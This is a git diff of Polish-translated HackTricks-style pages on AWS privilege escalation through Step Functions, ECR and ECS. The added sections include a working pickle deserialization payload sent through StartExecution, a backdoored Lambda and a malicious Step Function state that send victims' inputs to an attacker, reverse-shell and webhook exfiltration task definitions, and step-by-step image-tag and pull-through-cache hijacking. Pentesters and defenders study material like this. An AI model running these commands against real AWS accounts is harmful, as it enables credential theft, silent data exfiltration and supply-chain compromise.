@@ -56,18 +56,60 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Atakujący może dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
|
||||
Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach.
|
||||
**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów oraz polityk kontroli dostępu opartych na tagach.
|
||||
|
||||
---
|
||||
|
||||
### `states:StartExecution` -> Wstrzyknięcie danych wejściowych do niebezpiecznych sinków
|
||||
|
||||
`states:StartExecution` jest punktem wejścia w warstwie danych. Jeśli state machine przekazuje kontrolowane przez atakującego dane wejściowe do zadania zawierającego niebezpieczny sink (na przykład Lambda wykonująca `pickle.loads(base64.b64decode(payload_b64))`), możesz czasami zamienić **StartExecution** w **code execution** i **secret exfiltration** poprzez wynik wykonania, bez żadnych uprawnień do aktualizacji state machine.
|
||||
|
||||
#### Odkryj workflow i wywoływaną Lambda
|
||||
|
||||
Jeśli masz `states:List*` / `states:Describe*`, możesz wyenumerować i odczytać definicję state machine:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
SM_ARN="<state_machine_arn>"
|
||||
|
||||
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
|
||||
```
|
||||
Jeśli masz również `lambda:GetFunction`, możesz pobrać Lambda code bundle, aby zrozumieć, jak przetwarzane jest input (i potwierdzić, czy istnieje unsafe deserialization):
|
||||
```bash
|
||||
LAMBDA_ARN="<lambda_arn_from_definition>"
|
||||
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
|
||||
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
|
||||
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
|
||||
ls -la /tmp/lambda_code
|
||||
```
|
||||
#### Przykład: crafted pickle w wejściu wykonania (Python)
|
||||
|
||||
Jeśli Lambda unpickles attacker-controlled data, złośliwy pickle może wykonać kod podczas deserializacji. Przykładowy payload, który oceni wyrażenie w Pythonie w środowisku wykonawczym Lambda:
|
||||
```bash
|
||||
PAYLOAD_B64="$(python3 - <<'PY'
|
||||
import base64, pickle
|
||||
|
||||
class P:
|
||||
def __reduce__(self):
|
||||
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
|
||||
return (eval, ("__import__('os').popen('id').read()",))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P())).decode())
|
||||
PY
|
||||
)"
|
||||
|
||||
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
|
||||
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
|
||||
```
|
||||
**Wpływ**: Wszystkie uprawnienia, które posiada rola zadania (odczyty Secrets Manager, zapisy S3, odszyfrowania KMS itp.) mogą stać się osiągalne poprzez spreparowane dane wejściowe, a wynik może zostać zwrócony w wyjściu wykonania Step Functions.
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Atakujący, który przejmie użytkownika lub rolę posiadającą następujące uprawnienia:
|
||||
Atakujący, który przejmie użytkownika lub rolę z następującymi uprawnieniami:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -87,9 +129,9 @@ Atakujący, który przejmie użytkownika lub rolę posiadającą następujące u
|
||||
]
|
||||
}
|
||||
```
|
||||
...może przeprowadzić **high-impact and stealthy post-exploitation attack** poprzez połączenie Lambda backdooring z Step Function logic manipulation.
|
||||
...może przeprowadzić **high-impact and stealthy post-exploitation attack** poprzez połączenie Lambda backdooring z manipulacją logiki Step Function.
|
||||
|
||||
Scenariusz zakłada, że ofiara używa **AWS Step Functions to orchestrate workflows that process sensitive input**, takich jak credentials, tokens, lub PII.
|
||||
Scenariusz zakłada, że ofiara używa **AWS Step Functions to orchestrate workflows that process sensitive input**, takich jak credentials, tokens lub PII.
|
||||
|
||||
Przykładowe wywołanie ofiary:
|
||||
```bash
|
||||
@@ -97,13 +139,13 @@ aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Jeśli Step Function jest skonfigurowana do wywoływania Lambda takiej jak `LegitBusinessLogic`, atakujący może przystąpić do **dwóch dyskretnych wariantów ataku**:
|
||||
Jeśli Step Function jest skonfigurowana do wywoływania Lambda takiej jak `LegitBusinessLogic`, atakujący może przejść do **dwóch ukrytych wariantów ataku**:
|
||||
|
||||
---
|
||||
|
||||
#### Zaktualizowano funkcję Lambda
|
||||
|
||||
Atakujący modyfikuje kod funkcji Lambda już używanej przez Step Function (`LegitBusinessLogic`), aby po cichu exfiltrate dane wejściowe.
|
||||
Atakujący modyfikuje kod funkcji Lambda już używanej przez Step Function (`LegitBusinessLogic`), aby potajemnie exfiltrate input data.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
@@ -120,11 +162,9 @@ aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Dodaj złośliwy stan do Step Function
|
||||
|
||||
Alternatywnie, atakujący może wstrzyknąć **exfiltration state** na początku przepływu pracy, aktualizując definicję Step Function.
|
||||
Alternatywnie, atakujący może wstrzyknąć **exfiltration state** na początku przepływu pracy poprzez aktualizację definicji Step Function.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
@@ -145,7 +185,7 @@ aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Atakujący może działać jeszcze bardziej dyskretnie, aktualizując definicję stanu do czegoś takiego
|
||||
Atakujący może jeszcze skuteczniej ukryć swoje działania, aktualizując definicję stanu do czegoś takiego
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
@@ -168,7 +208,7 @@ gdzie ofiara nie zauważy różnicy
|
||||
|
||||
---
|
||||
|
||||
### Victim Setup (Context for Exploit)
|
||||
### Konfiguracja ofiary (Context for Exploit)
|
||||
|
||||
- A Step Function (`LegitStateMachine`) jest używana do przetwarzania wrażliwych danych wejściowych użytkownika.
|
||||
- Wywołuje jedną lub więcej funkcji Lambda, takich jak `LegitBusinessLogic`.
|
||||
@@ -177,9 +217,9 @@ gdzie ofiara nie zauważy różnicy
|
||||
|
||||
**Potencjalny wpływ**:
|
||||
- Cicha exfiltration wrażliwych danych, w tym secrets, credentials, API keys i PII.
|
||||
- Brak widocznych błędów lub awarii w wykonywaniu workflow.
|
||||
- Brak widocznych błędów ani niepowodzeń w wykonaniu workflow.
|
||||
- Trudne do wykrycia bez audytu kodu Lambda lub śladów wykonania.
|
||||
- Umożliwia długoterminową persistence, jeśli backdoor pozostanie w kodzie lub logice ASL.
|
||||
- Umożliwia długoterminową obecność, jeśli backdoor pozostanie w kodzie lub logice ASL.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+42
-32
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
|
||||
Atakujący posiadający **`ecr:GetAuthorizationToken`** i **`ecr:BatchGetImage`** może zalogować się do ECR i pobrać obrazy.
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
@@ -14,13 +14,23 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
|
||||
**Potencjalny wpływ:** Pośredni privesc przez przechwycenie wrażliwych informacji w ruchu.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
Atakujący posiadający te uprawnienia **może zalogować się do ECR i przesłać obrazy**. Może to być przydatne do eskalacji uprawnień w innych środowiskach, w których te obrazy są używane.
|
||||
Atakujący posiadający wszystkie te uprawnienia **może zalogować się do ECR i przesyłać obrazy**. Może to być użyteczne do eskalacji uprawnień w innych środowiskach, gdzie te obrazy są używane.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
Dodatkowo, `ecr:PutImage` może być użyte do **nadpisania istniejącego tagu** (na przykład `stable` / `prod`) przez przesłanie innego manifestu obrazu pod tym tagiem, efektywnie przejmując wdrożenia oparte na tagach.
|
||||
|
||||
Jest to szczególnie istotne, gdy konsumenci downstream wdrażają obrazy według tagu i **automatycznie odświeżają** się po zmianie tagu, takie jak:
|
||||
|
||||
- **Lambda container image functions** (`PackageType=Image`) odwołujące się do `.../repo:stable`
|
||||
- ECS services / Kubernetes workloads pobierające `repo:prod` (bez przypięcia digestu)
|
||||
- Dowolne CI/CD, które ponownie wdraża na podstawie zdarzeń ECR
|
||||
|
||||
W takich przypadkach nadpisanie tagu może prowadzić do **remote code execution** w środowisku konsumenta oraz privilege escalation do roli IAM używanej przez ten workload (na przykład roli wykonawczej Lambda z `secretsmanager:GetSecretValue`).
|
||||
|
||||
Aby dowiedzieć się, jak przesłać nowy obraz / zaktualizować istniejący, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
@@ -28,18 +38,18 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
Podobnie jak w poprzedniej sekcji, ale dla repozytoriów publicznych.
|
||||
Jak w poprzedniej sekcji, ale dla publicznych repozytoriów.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
Atakujący z tym uprawnieniem mógłby **zmienić** **politykę** **repozytorium**, aby przyznać sobie (lub nawet wszystkim) **dostęp odczytu/zapisu**.\
|
||||
Na przykład, w tym przykładzie dostęp do odczytu jest przyznany wszystkim.
|
||||
Atakujący z tym uprawnieniem może **zmienić** **politykę** **repozytorium**, aby przyznać sobie (lub nawet wszystkim) **dostęp do odczytu/zapisu**.\
|
||||
Na przykład, w poniższym przykładzie dostęp do odczytu jest przyznany wszystkim.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
Zawartość pliku `my-policy.json`:
|
||||
Zawartość `my-policy.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -59,8 +69,8 @@ Zawartość pliku `my-policy.json`:
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Podobnie jak w poprzedniej sekcji, ale dla publicznych repozytoriów.\
|
||||
Atakujący może **zmodyfikować politykę repozytorium** ECR Public, aby nadać nieautoryzowany publiczny dostęp lub eskalować swoje uprawnienia.
|
||||
Jak w poprzedniej sekcji, ale dla repozytoriów publicznych.\
|
||||
Atakujący może **zmodyfikować politykę repozytorium** ECR Public, aby przyznać nieautoryzowany dostęp publiczny lub eskalować swoje uprawnienia.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,11 +97,11 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Potencjalny wpływ**: Nieautoryzowany publiczny dostęp do ECR Public repository, pozwalający każdemu użytkownikowi na push, pull lub usuwanie obrazów.
|
||||
**Potencjalny wpływ**: Nieautoryzowany publiczny dostęp do repozytorium ECR Public, umożliwiający każdemu użytkownikowi push, pull lub usuwanie obrazów.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
Atakujący z tym uprawnieniem mógłby **zmienić** **politykę rejestru**, aby przyznać sobie, swojemu kontu (lub nawet wszystkim) **dostęp do odczytu/zapisu**.
|
||||
Atakujący z tym uprawnieniem mógłby **zmienić** **politykę rejestru**, aby przyznać sobie, swojemu kontu (a nawet wszystkim) **dostęp do odczytu/zapisu**.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
@@ -99,40 +109,40 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Abuse ECR Pull Through Cache (PTC) rules, aby zmapować attacker-controlled upstream namespace na zaufany prywatny prefiks ECR. Dzięki temu workloads pobierające z prywatnego ECR będą transparentnie otrzymywać obrazy attacker bez konieczności push do prywatnego ECR.
|
||||
Wykorzystaj reguły ECR Pull Through Cache (PTC) do zmapowania upstream namespace kontrolowanego przez atakującego na zaufany prywatny prefiks ECR. Dzięki temu workloads pobierające z prywatnego ECR będą transparentnie otrzymywać obrazy atakującego bez potrzeby pushowania do prywatnego ECR.
|
||||
|
||||
- Wymagane perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Jeśli używasz ECR Public jako upstream: ecr-public:* do create/push do public repo.
|
||||
- Tested upstream: public.ecr.aws
|
||||
- Wymagane uprawnienia: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
|
||||
- Testowane upstream: public.ecr.aws
|
||||
|
||||
Steps (example):
|
||||
Kroki (przykład):
|
||||
|
||||
1. Prepare attacker image in ECR Public
|
||||
1. Przygotuj obraz kontrolowany przez atakującego w ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
|
||||
2. Utwórz regułę PTC w prywatnym ECR, aby zmapować zaufany prefiks na rejestr publiczny
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
3. Pobierz obraz atakującego przez ścieżkę prywatnego ECR (nie wykonano push do prywatnego ECR)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Potential Impact: Kompromitacja łańcucha dostaw przez przejęcie wewnętrznych nazw obrazów pod wybranym prefiksem. Każdy workload pobierający obrazy z prywatnego ECR używając tego prefiksu otrzyma attacker-controlled content.
|
||||
Potential Impact: Kompromitacja łańcucha dostaw przez przejęcie wewnętrznych nazw obrazów pod wybranym prefiksem. Każdy workload pobierający obrazy z prywatnego ECR używając tego prefiksu otrzyma zawartość kontrolowaną przez atakującego.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Abuse this permission, aby zmienić repozytorium z tag immutability na mutable i nadpisać zaufane tagi (np. latest, stable, prod) attacker-controlled content.
|
||||
Wykorzystaj to uprawnienie, aby zmienić repozytorium z niezmiennością tagów na mutowalne i nadpisać zaufane tagi (np. latest, stable, prod) zawartością kontrolowaną przez atakującego.
|
||||
|
||||
- Wymagane perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Kompromitacja łańcucha dostaw przez ciche zastąpienie niezmienialnych tagów bez zmiany nazw tagów.
|
||||
- Wymagane uprawnienia: `ecr:PutImageTagMutability` plus możliwości push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
|
||||
|
||||
Steps (example):
|
||||
Kroki (przykład):
|
||||
|
||||
<details>
|
||||
<summary>Zatrucie niezmienialnego taga przez przełączenie mutability</summary>
|
||||
<summary>Zatrucie niezmiennego tagu poprzez przełączenie mutowalności</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -152,12 +162,12 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
#### Globalne przejęcie rejestru przez regułę ROOT Pull-Through Cache
|
||||
|
||||
Utwórz regułę Pull-Through Cache (PTC) używając specjalnego `ecrRepositoryPrefix=ROOT`, żeby zmapować root prywatnego rejestru ECR na upstream public registry (np. ECR Public). Każde pull do nieistniejącego repozytorium w prywatnym rejestrze będzie transparentnie serwowane z upstream, umożliwiając supply-chain hijacking bez pushowania do prywatnego ECR.
|
||||
Utwórz regułę Pull-Through Cache (PTC) używając specjalnego `ecrRepositoryPrefix=ROOT`, aby zmapować root prywatnego rejestru ECR na upstream publiczny rejestr (np. ECR Public). Każde pull do nieistniejącego repozytorium w prywatnym rejestrze będzie transparentnie serwowane z upstream, umożliwiając supply-chain hijacking bez pushowania do prywatnego ECR.
|
||||
|
||||
- Wymagane uprawnienia: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Wpływ: Pulls do `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` zakończą się powodzeniem i automatycznie utworzą prywatne repozytoria pochodzące z upstream.
|
||||
- Skutek: Pulls do `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` kończą się sukcesem i automatycznie tworzą prywatne repozytoria pochodzące z upstream.
|
||||
|
||||
> Uwaga: Dla reguł `ROOT` pomiń `--upstream-repository-prefix`. Podanie go spowoduje błąd walidacji.
|
||||
|
||||
@@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Degradacja `REGISTRY_POLICY_SCOPE` w celu ominięcia Deny w polityce rejestru)
|
||||
### `ecr:PutAccountSetting` (Obniż `REGISTRY_POLICY_SCOPE`, aby obejść registry policy Deny)
|
||||
|
||||
Wykorzystaj `ecr:PutAccountSetting`, aby zmienić zakres polityki rejestru z `V2` (polityka stosowana do wszystkich akcji ECR) na `V1` (polityka stosowana tylko do `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Jeśli restrykcyjny Deny w polityce rejestru blokuje akcje takie jak `CreatePullThroughCacheRule`, degradacja do `V1` usuwa to ograniczenie i pozwala na zastosowanie reguł Allow z polityki tożsamości.
|
||||
Wykorzystaj `ecr:PutAccountSetting`, aby zmienić zakres registry policy z `V2` (polityka stosowana do wszystkich akcji ECR) na `V1` (polityka stosowana tylko do `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Jeśli restrykcyjny registry policy Deny blokuje akcje takie jak `CreatePullThroughCacheRule`, obniżenie do `V1` usuwa tę blokadę, dzięki czemu identity‑policy Allows zaczynają obowiązywać.
|
||||
|
||||
- Wymagane uprawnienia: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Wpływ: Możliwość wykonania akcji ECR wcześniej blokowanych przez Deny w polityce rejestru (np. utworzenie reguł PTC) poprzez tymczasowe ustawienie zakresu na `V1`.
|
||||
- Wpływ: Możliwość wykonania akcji ECR wcześniej blokowanych przez registry policy Deny (np. tworzenie reguł PTC) poprzez tymczasowe ustawienie zakresu na `V1`.
|
||||
|
||||
Kroki (przykład):
|
||||
|
||||
<details>
|
||||
<summary>Ominięcie Deny w polityce rejestru dla CreatePullThroughCacheRule przez przełączenie na V1</summary>
|
||||
<summary>Obejście registry policy Deny dla CreatePullThroughCacheRule przez przełączenie na V1</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
|
||||
+128
-56
@@ -12,7 +12,7 @@ Więcej **informacji o ECS** w:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Atakujący nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie poświadczenia metadanych, a następnie **uruchomić ją**.
|
||||
Atakujący nadużywający uprawnień `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Utwórz webhook przy użyciu serwisu takiego jak webhook.site
|
||||
Utwórz webhook za pomocą serwisu takiego jak webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,18 +75,18 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Direct privesc do innej roli ECS.
|
||||
**Potential Impact:** Bezpośredni privesc do innej roli ECS.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Atakujący, który posiada uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS z zmodyfikowanymi wartościami **execution role**, **task role** oraz **command** kontenera. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` oraz `command` kontenera bez modyfikowania definicji zadania.
|
||||
Atakujący, który ma uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS z zmodyfikowanymi wartościami **execution role**, **task role** oraz **command** kontenera. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala zmienić w czasie wykonywania `executionRoleArn`, `taskRoleArn` i `command` kontenera bez modyfikowania task definition.
|
||||
|
||||
Wskazane role IAM dla `taskRoleArn` i `executionRoleArn` muszą w swojej polityce zaufania dopuszczać przyjmowanie ich przez `ecs-tasks.amazonaws.com`.
|
||||
Wskazane role IAM dla `taskRoleArn` i `executionRoleArn` w swojej polityce zaufania muszą zezwalać, aby `ecs-tasks.amazonaws.com` mogło je przyjąć.
|
||||
|
||||
Dodatkowo atakujący musi znać:
|
||||
Atakujący musi także znać:
|
||||
- nazwę klastra ECS
|
||||
- subnet VPC
|
||||
- Security group (If no security group is specified the default one will be used)
|
||||
- Task Definition Name and revision
|
||||
- podsieć VPC
|
||||
- grupę bezpieczeństwa (jeśli nie określono grupy bezpieczeństwa, użyta zostanie grupa domyślna)
|
||||
- nazwę Task Definition i rewizję
|
||||
- nazwę kontenera
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak aby atak mógł się powieść, atakujący musi mieć uprawnienie `iam:PassRole` do `taskRoleArn` wskazanego w poleceniu oraz do `executionRoleArn` określonego w definicji zadania.
|
||||
W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak, aby atak mógł się powieść, atakujący musi mieć uprawnienie `iam:PassRole` do `taskRoleArn` podanego w poleceniu oraz do `executionRoleArn` określonego w definicji zadania.
|
||||
|
||||
Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) to atakujący może użyć tej samej roli IAM zarówno jako `executionRoleArn`, jak i `taskRoleArn` w poleceniu `ecs run-task`.
|
||||
Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) wtedy atakujący może ustawić tę samą rolę IAM zarówno jako `executionRoleArn`, jak i `taskRoleArn` w poleceniu `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** Bezpośredni privesc do dowolnej roli zadania ECS.
|
||||
**Potencjalny wpływ:** Direct privesc to any ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nową task definition** z **złośliwym kontenerem**, który kradnie poświadczenia metadanych i **uruchomić ją**.\
|
||||
Jednak w tym przypadku potrzebna jest instancja kontenera, aby uruchomić złośliwą task definition.
|
||||
Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nowy task definition** ze **złośliwym containerem**, który wykrada metadata credentials oraz uruchomi go.\
|
||||
Jednak w tym przypadku potrzebna jest container instance, aby uruchomić złośliwy task definition.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potencjalny wpływ:** Direct privesc to any ECS role.
|
||||
**Potencjalny wpływ:** Direct privesc do dowolnej roli ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`)
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nowy task definition** z **malicious container**, który wykrada metadata credentials i **uruchomi go, tworząc nową service z co najmniej 1 uruchomionym taskiem.**
|
||||
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją, tworząc nową usługę z co najmniej jednym uruchomionym zadaniem.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli ECS.
|
||||
**Potencjalny wpływ:** Direct privesc do dowolnej roli ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
